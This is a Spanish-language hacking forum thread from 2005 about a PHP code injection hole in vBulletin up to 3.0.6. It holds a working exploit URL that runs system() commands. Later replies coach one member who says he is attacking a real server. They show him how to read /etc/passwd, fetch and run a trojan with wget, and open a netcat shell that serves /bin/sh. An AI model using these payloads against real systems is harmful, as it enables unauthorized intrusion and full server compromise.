elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 21:52  


Tema destacado: Suscripción al boletín mensual de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  vBulletin <= 3.0.6 php Code Injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: vBulletin <= 3.0.6 php Code Injection  (Leído 3,779 veces)
EL_ZoRRo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
vBulletin <= 3.0.6 php Code Injection
« en: 23 Febrero 2005, 09:16 »

Código:
# Tested on vBulletin Version 3.0.1 /str0ke
# http://www.xxx.net/misc.php?do=page&template={${system(id)}}
#

# [SCAN Associates Security Advisory]
# http://www.scan-associates.net

Proof of concept
================
http://site.com/misc.php?do=page&template={${phpinfo()}}

# milw0rm.com [2005-02-22]


Probado y funciona .

Salu2
En línea
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #1 en: 23 Febrero 2005, 11:05 »

Sip si funciona pero si el host tiene Safe Mode ON ni lo intentes lol

Salu2!!
En línea

BenRu
The Prodigy


Desconectado Desconectado

Mensajes: 4.004


Ver Perfil
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #2 en: 25 Febrero 2005, 08:27 »

mmm...esta es una bulneravilidad para los foros que corren en vBulletin?
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #3 en: 25 Febrero 2005, 09:04 »

vulnerabilidad , si lee el titulo dice vbulettin <= 3.0.6 , osea las versiones 3.0.6 y menores son vulnerables.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
SeGoZ

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #4 en: 16 Marzo 2005, 06:49 »

Explicación del exploit (posibilidades, ejemplos...)? ???

Thanksssss :-*
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #5 en: 16 Marzo 2005, 09:19 »

usar exec() o execute(), system(), passthru ()... (este ultimo comando no es si esta bien xDDDD)

Las posibilidades son desde leer los ficheros de configuracion, a hacer consustas SQL (no es nada dificil), o incluso obtener acceso al sistema en si.

Salu2
En línea

_Meu086_

Desconectado Desconectado

Mensajes: 10



Ver Perfil WWW
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #6 en: 16 Marzo 2005, 12:02 »

no entiendo en que consiste exactamente el bug :S alguien puede explicarlo ?

saludos
En línea

"El Ignorante Afirma, el sabio duda y Reflexiona"

Saludos..._Meu086_
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #7 en: 16 Marzo 2005, 17:16 »

El bug exactamente consiste en que puedes ejecutar CODIGO PHP en el sistema. El lenguaje php permite muchas cosas (busca que hacen los comandos de arriba), lo que puede llevar perfectamente, a poder subir un backdoor (wget www.host.com/backdoor), darle permisos de ejecucion (./chmod 777 backdoor o ./chmod +x backdoor), ejecutarlo(./backdoor <parametros>), y ya tienes una shell remota en el sistema. Todo eso con funciones PHP (si estan descativadas, obviamente no) como exec() o system().

http://es2.php.net/passthru

Los bugs de inyeccion de codigo php y de remote file inclusion son muy peligrosos, no es nada dificil comprometer el server completo, teniendo acceso al mismo.

Salu2
En línea

alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #8 en: 17 Marzo 2005, 05:45 »

Hola,  al poner la url infectada mas /misc.php?do=page&template={${system(cat 20/etc/passwd)}}
me sale un error, y pasa a /misc.php?do=page&template={${system(cat%20/etc/passwd)}}
creo... que no puedo separar... por ejemplo para hacer un wget url, tampoco me deja,  (el server si tiene exec y system on) Alguien me podria decir como ponerlo para que se ejecutase sin dar error?
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #9 en: 17 Marzo 2005, 06:02 »

Prueba a funciones que no tengan espacio:

system(ls) o exec(ls) o passthru(ls)

Si te sale un listado de ficheros y directorios (si es un sistema Unix!!!!), es que funciona. Obviamente, si es un Windows, pues "dir".

Puede que pese a que puedas inyectar codigo PHP, la configuracion PHP del servidor no permita esos comandos, es muy normal denegar la ejecucion de system o exec.

Salu2
En línea

alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #10 en: 17 Marzo 2005, 06:34 »

Si, si todas las funciones system(ls) o exec(ls) o passthru(ls) estan activas, y al hacer un id, me sale permiso nobody:
uid=99(nobody) gid=99(nobody) groups=99(nobody) uid=99(nobody) gid=99(nobody) groups=99(nobody)
pero... como podria hacer un cat /etc/passwd o.. un wget url... no me deja :\ sin embargo al poner el "cat" me da la help y el "wget" tambien.. que puede ser? podria suvir... algun archivo? gracias
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #11 en: 17 Marzo 2005, 06:49 »

Prueba esto:

"ls+al" en vez de "ls al"


Salu2
En línea

alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #12 en: 17 Marzo 2005, 07:14 »

me da el error: Internal Server Error creo.. que es el (500)
pongo exactamente esto: www.site.com//misc.php?do=page&template={${system(ls+al)}}
o.. /misc.php?do=page&template={${system(wget+url)}}
pero nada..., aveces me dice esto: Parse error: parse error, unexpected '.' in /home/xxx/public_html/forums/misc.php(429) : eval()'d code on line 1
me parece extraño, tal vez solo deja inyectar codigos sin espacios? entonces no tendria mucha utilidad xD. Por favor responded, es mi oportunidad de tener acceso a un server.
« Última modificación: 17 Marzo 2005, 08:51 por alb3rt0 » En línea
alb3rt0

Desconectado Desconectado

Mensajes: 217


Ver Perfil
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #13 en: 18 Marzo 2005, 02:46 »

el problema estaba en que habia que poner " entre el comando, ahora mi duda es como puedo por ftp subir un archivo? en un solo comando, e intentado con {system("ftp user:pass host file:///path")}} pero no me aclaro, a ver si alguien me hecha un cable por favor
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: vBulletin <= 3.0.6 php Code Injection
« Respuesta #14 en: 18 Marzo 2005, 03:09 »

con wget por ejemplo:

"wget www.host.com/troyano"

luego le das permisos de ejecucion y lo ejecutas.

Puedes probar con el r0nin por ejemplo, es un buen backdoor aunque canta un webo.

Si tiene el netcat (compilado con las opciones de seguridad), no tienes que subir ningun troyano:

"nc -v -p 8000 -L -e /bin/sh -i"

Salu2
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Google.com vulnerable to XSS (HTML Code Injection)
Bugs y Exploits
TinKode 9 2,112 Último mensaje 3 Diciembre 2010, 23:33
por TinKode
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines